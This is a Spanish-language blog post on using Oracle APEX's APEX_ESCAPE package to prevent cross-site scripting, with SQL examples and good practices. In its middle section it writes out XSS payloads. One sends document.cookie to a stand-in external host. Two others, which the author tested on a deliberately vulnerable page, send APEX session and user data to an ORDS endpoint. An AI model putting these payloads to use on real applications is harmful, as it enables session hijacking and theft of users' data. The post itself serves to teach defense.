APEX_ESCAPE: ¿Proteges tus aplicaciones Oracle APEX contra XSS?

Durante mis años de experiencia profesional, he trabajado en la migración de formularios y módulos de Oracle Forms 6i a Oracle APEX, así como en el desarrollo de nuevos módulos en diversas campos. Mi trayectoria laboral incluye roles en las empresas Hilagro S.A, Transagro S.A, y actualmente, en Consultagro S.A. En estos puestos, he demostrado habilidades en la gestión de proyectos, la mejora de procesos y la formación de usuarios, lo cual me ha permitido optimizar y desarrollar soluciones.
Cuando desarrollamos aplicaciones en Oracle APEX, solemos concentrarnos en la lógica del negocio, la experiencia de usuario y el rendimiento. Sin embargo, hay un aspecto crítico que muchas veces se pasa por alto hasta que es demasiado tarde: la seguridad, en particular la protección contra Cross-Site Scripting (XSS).
Aquí es donde entra en juego el paquete APEX_ESCAPE, una herramienta clave para evitar que datos maliciosos se ejecuten como código en nuestras aplicaciones.
¿Qué es APEX_ESCAPE?

APEX_ESCAPE es un paquete PL/SQL provisto por Oracle APEX que permite escapar caracteres especiales antes de mostrar datos en la interfaz de usuario.
Basicamente:
convierte texto potencialmente peligroso en texto seguro para mostrar en HTML, JavaScript o URLs*.*
Esto evita que un usuario malintencionado inyecte código como:
<script>alert('hackeado')</script>
y que dicho código se ejecute en el navegador de otro usuario.

¿Por qué es tan importante?
Oracle APEX trabaja intensamente con datos ingresados por usuarios:
Ítems de página
Formularios
Comentarios
Parámetros
Datos provenientes de tablas
Si estos valores se muestran sin control, un atacante puede aprovecharlos para:
Robar sesiones
Ejecutar acciones en nombre de otros usuarios
Modificar la interfaz
Exponer información sensible
APEX_ESCAPE es una de las primeras líneas de defensa contra XSS.

Funciones más utilizadas de APEX_ESCAPE
1. APEX_ESCAPE.HTML
Escapa texto para que sea seguro mostrarlo en HTML.
APEX_ESCAPE.HTML(:P1_COMENTARIO)
Convierte:
< en <
\> en >
" en "
Podemos probar este query
select APEX_ESCAPE.HTML('< > " ') escap from dual;
Esta seria su salida.

Ideal para:
Reportes
Regiones HTML
Labels dinámicos
2. APEX_ESCAPE.HTML_ATTRIBUTE
Pensada para valores que se insertan dentro de atributos HTML.
APEX_ESCAPE.HTML_ATTRIBUTE(:P1_TITULO)
Útil cuando se usa dentro de:
<input type="text" value="&P1_TITULO.">
3. APEX_ESCAPE.JS_LITERAL
Escapa valores que serán utilizados dentro de código JavaScript.
APEX_ESCAPE.JS_LITERAL(:P1_MENSAJE)
Fundamental cuando se concatenan valores dinámicos en scripts.
Ejemplos
Supongamos que un usuario guarda este comentario:
<b>Hola</b><script>alert('XSS')</script>


Si lo mostramos directamente:
select feedback
from apex_team_feedback f
El script se ejecutará.


Pero si usamos:
select APEX_ESCAPE.HTML(feedback)feedback
from apex_team_feedback f
El navegador mostrará el texto sin ejecutar nada peligroso.

Ejemplo de XSS con robo de sesión
Supongamos que un atacante logra inyectar este texto como comentario o descripción:
<script>
fetch('https://sitio-externo/collect?c=' + document.cookie);
</script>
¿Qué intenta hacer este código?
(No cómo hacerlo, sino qué pasaría si se ejecuta)
Accede a
document.cookieExtrae cookies de sesión
Las envía a un servidor externo
Permite:
Secuestro de sesión
Suplantación de usuario
Acceso a datos privados
En una app APEX con autenticación por cookies, esto puede ser crítico.
Para este ejemplo en particular, cree una api que recibe como parametro “CAMPO1“ y lo inyeccte en este script asi
<script>
fetch('https://oracleapex.com/ords/maximo/xss/xss?campo1=' + apex.env.APP_USER);
</script>
La pagina intencionalmente vulnerable ejecuta el codigo y obtengo el dato del usuario

o si se usa este otro codigo
<script>
var x =
'APP_USER: ' + apex.env.APP_USER + ' | ' +
'APP_ID: ' + apex.env.APP_ID + ' | ' +
'APP_PAGE_ID: ' + apex.env.APP_PAGE_ID + ' | ' +
'APP_SESSION: ' + apex.env.APP_SESSION ;
fetch(
'https://oracleapex.com/ords/maximo/xss/xss?campo1=' +
encodeURIComponent(x)
);
</script>
Se puede obtener otros datos igual de sensibles.

Si estos datos se pueden obtener, se podrian obtner otros, aun mas sensibles.
¿Cuándo debo usar APEX_ESCAPE?
Regla práctica:
Siempre que muestres datos dinámicos que no controlas al 100%
Especial atención en:
Regiones HTML
PL/SQL dinámico
JavaScript dinámico
Links generados manualmente
htp.p, htf.print, sys.htp
¿APEX no escapa automáticamente?

Sí… a veces.
Oracle APEX escapa automáticamente en muchos componentes declarativos (reportes clásicos, interactivos, ítems estándar), pero no en todos los casos, especialmente cuando:
Usas PL/SQL
Generas HTML manualmente
Construyes JavaScript dinámico
Desactivas el escape en columnas
Por eso, conocer y usar APEX_ESCAPE es fundamental.
Buenas prácticas
Escapar al mostrar, no al guardar.
Usar la función adecuada según el contexto (HTML, JS, URL).
No confiar ciegamente en el escape automático.
Revisar código legado.
Combinar con validaciones y controles de acceso.
Conclusión
APEX_ESCAPE no es solo un paquete más:
es una herramienta esencial para desarrollar aplicaciones Oracle APEX seguras.
Dominar su uso te permite:
Evitar vulnerabilidades XSS
Proteger a tus usuarios
Cumplir buenas prácticas de seguridad
Dormir más tranquilo
Si trabajas con APEX y aún no lo usas conscientemente, este es el momento de incorporarlo a tu estándar de desarrollo.
¿Te gustó este contenido? Dejá un comentario, compartilo con tu equipo o Invitame un cafe.
Nos leemos luego





